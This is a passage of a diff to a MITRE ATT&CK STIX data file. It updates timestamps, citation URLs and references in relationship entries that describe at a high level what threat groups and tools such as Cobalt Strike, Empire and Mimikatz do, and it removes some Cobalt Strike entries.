"relationship--a601c8b3-4d54-42d9-a2fd-61455a5dff4a", "type": "relationship", - "modified": "2020-03-30T00:37:16.804Z", + "modified": "2021-04-20T19:27:46.628Z", "created": "2020-03-16T15:48:34.206Z" }, { @@ -175652,27 +177271,6 @@ "modified": "2020-03-16T16:06:08.420Z", "created": "2020-03-16T16:06:08.420Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "target_ref": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819", - "external_references": [ - { - "source_name": "cobaltstrike manual", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" - } - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can make tokens from known credentials.(Citation: cobaltstrike manual)", - "relationship_type": "uses", - "id": "relationship--ee7a6f86-6cab-4310-b0d1-4abb70a2a024", - "type": "relationship", - "modified": "2020-03-16T16:45:50.344Z", - "created": "2020-03-16T16:45:50.344Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -175682,16 +177280,16 @@ "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use [PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-TokenManipulation to manipulate access tokens.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--9bd9e08d-efda-4710-8158-9e915dce16d9", "type": "relationship", - "modified": "2020-03-16T16:57:26.820Z", + "modified": "2021-04-09T14:47:00.146Z", "created": "2020-03-16T16:57:26.820Z" }, { @@ -175715,32 +177313,6 @@ "modified": "2020-03-16T17:09:47.263Z", "created": "2020-03-16T17:09:47.263Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", - "external_references": [ - { - "source_name": "cobaltstrike manual", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" - }, - { - "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019.", - "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/", - "source_name": "CobaltStrike Daddy May 2017" - } - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use known credentials to run commands and spawn processes as a domain user account.(Citation: cobaltstrike manual)(Citation: CobaltStrike Daddy May 2017)", - "relationship_type": "uses", - "id": "relationship--9cd4ea33-aac6-4a08-9223-520c3797469f", - "type": "relationship", - "modified": "2020-03-16T18:34:20.091Z", - "created": "2020-03-16T18:34:20.091Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -175936,13 +177508,18 @@ "source_name": "PWC Cloud Hopper April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." } ], - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has staged data on remote MSP systems or other victim networks prior to exfiltration.(Citation: PWC Cloud Hopper April 2017)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has staged data on remote MSP systems or other victim networks prior to exfiltration.(Citation: PWC Cloud Hopper April 2017)(Citation: Symantec Cicada November 2020)", "relationship_type": "uses", "id": "relationship--9ffd6752-5d0f-4108-8cab-8541b54c0434", "type": "relationship", - "modified": "2020-03-17T00:25:45.291Z", + "modified": "2020-12-17T16:16:08.967Z", "created": "2020-03-17T00:25:45.291Z" }, { @@ -176028,69 +177605,6 @@ "modified": "2020-03-17T00:38:52.195Z", "created": "2020-03-17T00:38:52.195Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", - "external_references": [ - { - "source_name": "cobaltstrike manual", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" - } - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol. All protocols use their standard assigned ports.(Citation: cobaltstrike manual)\t", - "relationship_type": "uses", - "id": "relationship--21a8547a-4590-472b-b995-65865ec0bb2a", - "type": "relationship", - "modified": "2020-03-17T00:45:46.205Z", - "created": "2020-03-17T00:45:46.205Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", - "external_references": [ - { - "source_name": "cobaltstrike manual", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" - } - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a custom command and control protocol that can encapsulated in DNS. All protocols use their standard assigned ports.(Citation: cobaltstrike manual)\t", - "relationship_type": "uses", - "id": "relationship--67758a18-d6ff-4790-b9a7-cb0d1069e962", - "type": "relationship", - "modified": "2020-03-17T00:45:46.273Z", - "created": "2020-03-17T00:45:46.273Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", - "external_references": [ - { - "source_name": "cobaltstrike manual", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" - } - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a custom command and control protocol that can be encapsulated in HTTP or HTTPS, or DNS. All protocols use their standard assigned ports.(Citation: cobaltstrike manual)\t", - "relationship_type": "uses", - "id": "relationship--206b19d8-88b8-4f2b-94f4-e04392e550a5", - "type": "relationship", - "modified": "2020-03-17T00:45:46.307Z", - "created": "2020-03-17T00:45:46.307Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -176238,14 +177752,14 @@ { "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) malware RoyalDNS has used DNS for C2.(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "id": "relationship--96a7d789-70a9-42d8-a78e-b7ffd6c9dc69", "type": "relationship", - "modified": "2020-03-17T01:40:15.162Z", + "modified": "2021-03-29T19:54:46.281Z", "created": "2020-03-17T01:40:15.162Z" }, { @@ -176257,39 +177771,28 @@ "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "external_references": [ { - "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", - "source_name": "ESET Machete July 2019" + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", + "source_name": "Cylance Machete Mar 2017" + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], - "description": "[Machete](https://attack.mitre.org/software/S0409) uses HTTP for Command & Control.(Citation: ESET Machete July 2019)", + "description": "[Machete](https://attack.mitre.org/software/S0409) uses HTTP for Command & Control.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "id": "relationship--87b4eb41-5272-4aa5-ae2f-3541a754d011", "type": "relationship", - "modified": "2020-03-17T01:45:59.371Z", + "modified": "2020-11-23T22:25:18.558Z", "created": "2020-03-17T01:45:59.371Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", - "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", - "external_references": [ - { - "source_name": "Cylance Machete Mar 2017", - "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html", - "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019." - } - ], - "description": "[Machete](https://attack.mitre.org/groups/G0095) malware used Python\u2019s urllib library to make HTTP requests to the C2 server.(Citation: Cylance Machete Mar 2017)", - "relationship_type": "uses", - "id": "relationship--8e62529a-fad4-47b0-946e-b1ad21f8baa0", - "type": "relationship", - "modified": "2020-03-17T01:46:56.573Z", - "created": "2020-03-17T01:46:56.573Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -176823,13 +178326,18 @@ "source_name": "FireEye APT39 Jan 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019." + }, + { + "source_name": "FBI FLASH APT39 September 2020", + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020." } ], - "description": "[APT39](https://attack.mitre.org/groups/G0087) has sent spearphishing emails in an attempt to lure users to click on a malicious link. (Citation: FireEye APT39 Jan 2019)", + "description": "[APT39](https://attack.mitre.org/groups/G0087) has sent spearphishing emails in an attempt to lure users to click on a malicious link. (Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "id": "relationship--77e0980c-de43-48a8-8df3-b924f8d91b51", "type": "relationship", - "modified": "2020-03-17T13:51:08.173Z", + "modified": "2020-12-11T15:57:09.358Z", "created": "2020-03-17T13:51:08.173Z" }, { @@ -176919,9 +178427,9 @@ "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "source_name": "CSM Elderwood Sept 2012", @@ -176933,7 +178441,7 @@ "relationship_type": "uses", "id": "relationship--89672463-a201-43c7-a24a-1e6d7a1a188a", "type": "relationship", - "modified": "2020-03-17T14:16:23.897Z", + "modified": "2021-01-06T19:32:28.688Z", "created": "2020-03-17T14:16:23.897Z" }, { @@ -177217,16 +178725,16 @@ "target_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can leverage its implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to obtain and use silver tickets.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--fde62a7a-0ed1-4077-8275-ebb63eecdd2a", "type": "relationship", - "modified": "2020-03-25T21:47:33.230Z", + "modified": "2021-04-09T14:47:00.133Z", "created": "2020-03-17T17:23:51.732Z" }, { @@ -177480,32 +178988,6 @@ "modified": "2020-03-17T19:02:00.669Z", "created": "2020-03-17T19:02:00.669Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "external_references": [ - { - "source_name": "Cobalt Strike TTPs Dec 2017", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" - }, - { - "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019.", - "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/", - "source_name": "CobaltStrike Daddy May 2017" - } - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use VBA to perform execution.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: CobaltStrike Daddy May 2017)", - "relationship_type": "uses", - "id": "relationship--b3b5b384-feb1-43b1-8880-7b9ade558cf7", - "type": "relationship", - "modified": "2020-06-23T19:49:20.750Z", - "created": "2020-03-17T19:11:12.421Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -177872,32 +179354,6 @@ "modified": "2020-03-18T15:41:19.445Z", "created": "2020-03-18T15:41:19.445Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", - "external_references": [ - { - "source_name": "Cobalt Strike TTPs Dec 2017", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" - }, - { - "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019.", - "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/", - "source_name": "CobaltStrike Daddy May 2017" - } - ], - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use Python to perform execution.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: CobaltStrike Daddy May 2017)", - "relationship_type": "uses", - "id": "relationship--79b8af8a-e27e-4cea-a597-682cd860be57", - "type": "relationship", - "modified": "2020-03-18T15:51:59.281Z", - "created": "2020-03-18T15:51:59.281Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -177961,13 +179417,18 @@ "source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used VBScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload, as well as macros.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used VBScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload, as well as macros.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "id": "relationship--4a0ee05d-f020-4811-bba6-56d12c15e275", "type": "relationship", - "modified": "2020-05-29T01:24:37.322Z", + "modified": "2021-03-19T13:38:13.143Z", "created": "2020-03-18T18:01:36.710Z" }, { @@ -178110,7 +179571,7 @@ "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "external_references": [ { - "url": "https://github.com/PowerShellEmpire/Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire" } @@ -178119,7 +179580,7 @@ "relationship_type": "uses", "id": "relationship--bce07a45-9955-4466-86ad-35fef741087d", "type": "relationship", - "modified": "2020-03-18T19:53:37.592Z", + "modified": "2021-04-09T14:47:00.131Z", "created": "2020-03-18T19:53:37.592Z" }, { @@ -178667,7 +180128,7 @@ "description": "Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.", "id": "relationship--73b3f761-2c2d-4ceb-8886-dd0bb0fc7fc4", "type": "relationship", - "modified": "2020-07-09T14:43:42.680Z", + "modified": "2021-01-13T15:56:05.111Z", "created": "2020-03-19T19:09:30.512Z" }, { @@ -178688,7 +180149,7 @@ } ], "type": "relationship", - "modified": "2020-07-09T14:43:42.696Z", + "modified": "2021-01-13T15:56:05.132Z", "created": "2020-03-19T19:09:30.514Z" }, { @@ -178709,7 +180170,7 @@ } ], "type": "relationship", - "modified": "2020-07-09T14:43:42.682Z", + "modified": "2021-01-13T15:56:05.130Z", "created": "2020-03-19T19:09:30.515Z" }, { @@ -178935,16 +180396,16 @@ "target_ref": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit path interception opportunities in the PATH environment variable.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--7f0f21db-5bb8-465c-9141-d1b5172d0756", "type": "relationship", - "modified": "2020-03-19T20:22:29.421Z", + "modified": "2021-04-09T14:47:00.143Z", "created": "2020-03-19T20:22:29.421Z" }, { @@ -178956,16 +180417,16 @@ "target_ref": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit search order hijacking vulnerabilities.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--70386a3a-6ea5-4a2b-9989-2356ee9cf770", "type": "relationship", - "modified": "2020-03-19T20:22:29.425Z", + "modified": "2021-04-09T14:47:00.129Z", "created": "2020-03-19T20:22:29.425Z" }, { @@ -178977,16 +180438,16 @@ "target_ref": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit unquoted path vulnerabilities.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--63092968-deca-4af9-bda5-a3e05b4db40f", "type": "relationship", - "modified": "2020-03-19T20:22:29.445Z", + "modified": "2021-04-09T14:47:00.142Z", "created": "2020-03-19T20:22:29.445Z" }, { @@ -179415,16 +180876,16 @@ "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "external_references": [ { - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke", + "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "source_name": "F-Secure CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "description": "[CozyCar](https://attack.mitre.org/software/S0046) has executed [Mimikatz](https://attack.mitre.org/software/S0002) to harvest stored credentials from the victim and further victim penetration.(Citation: F-Secure CozyDuke)", "relationship_type": "uses", "id": "relationship--78c889da-e1e2-4230-a91d-9934627fecf6", "type": "relationship", - "modified": "2020-03-19T22:40:09.367Z", + "modified": "2020-11-23T17:03:38.972Z", "created": "2020-03-19T22:40:09.367Z" }, { @@ -179641,14 +181102,14 @@ { "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using gsecdump.(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "id": "relationship--644d2862-2836-41dd-ba3f-05e23278a5e6", "type": "relationship", - "modified": "2020-03-19T23:03:33.742Z", + "modified": "2021-03-29T19:54:46.298Z", "created": "2020-03-19T23:03:33.742Z" }, { @@ -179667,14 +181128,14 @@ { "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using gsecdump.(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "id": "relationship--f3d30d20-ee51-4976-8611-5667df771567", "type": "relationship", - "modified": "2020-03-19T23:03:33.778Z", + "modified": "2021-03-29T19:54:46.312Z", "created": "2020-03-19T23:03:33.778Z" }, { @@ -179958,16 +181419,16 @@ "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015" }, { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" } ], "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DPAPI.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)\t", "relationship_type": "uses", "id": "relationship--7804d727-91bc-41bd-9b05-686d550e9e04", "type": "relationship", - "modified": "2020-03-19T23:37:02.527Z", + "modified": "2021-01-25T15:43:46.056Z", "created": "2020-03-19T23:37:02.527Z" }, { @@ -179994,16 +181455,16 @@ "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015" }, { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019." + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", + "source_name": "NCSC Joint Report Public Tools" } ], "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the credential vault and DPAPI.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)\t", "relationship_type": "uses", "id": "relationship--11d0f089-6dc7-4468-b186-e1a8b621051b", "type": "relationship", - "modified": "2020-03-19T23:37:02.559Z", + "modified": "2021-01-25T15:43:46.049Z", "created": "2020-03-19T23:37:02.559Z" }, { @@ -180030,16 +181491,16 @@ "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015" }, { - "source_name": "NCSC Joint Report Public Tools", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", - "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber 